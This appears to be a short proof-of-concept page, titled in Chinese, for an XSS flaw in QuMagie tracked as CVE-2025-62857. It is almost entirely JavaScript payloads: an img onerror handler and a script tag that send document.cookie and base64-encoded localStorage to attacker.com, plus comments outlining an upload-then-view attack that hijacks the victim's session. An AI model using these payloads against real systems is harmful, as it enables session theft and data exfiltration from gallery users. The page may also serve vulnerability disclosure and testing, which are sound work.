CVE-2025-62857 QuMagie跨站脚本(XSS)漏洞

// CVE-2025-62857 XSS PoC for QuMagie // This PoC demonstrates how an attacker could inject malicious JavaScript // Malicious payload that could be embedded in image metadata or filename const maliciousPayload = ` <img src=x onerror=" // Steal session cookies fetch('https://attacker.com/steal?cookie=' + document.cookie) // Or read sensitive data fetch('https://attacker.com/exfil?data=' + btoa(JSON.stringify(localStorage))) "> `; // Alternative payload using script tag const altPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // When this payload is processed by QuMagie without proper sanitization, // it will be rendered in the victim's browser, executing the injected code // Example attack scenario: // 1. Attacker uploads an image with malicious metadata // 2. Victim views the image gallery in QuMagie // 3. The XSS payload executes in victim's browser context // 4. Attacker gains access to victim's session or data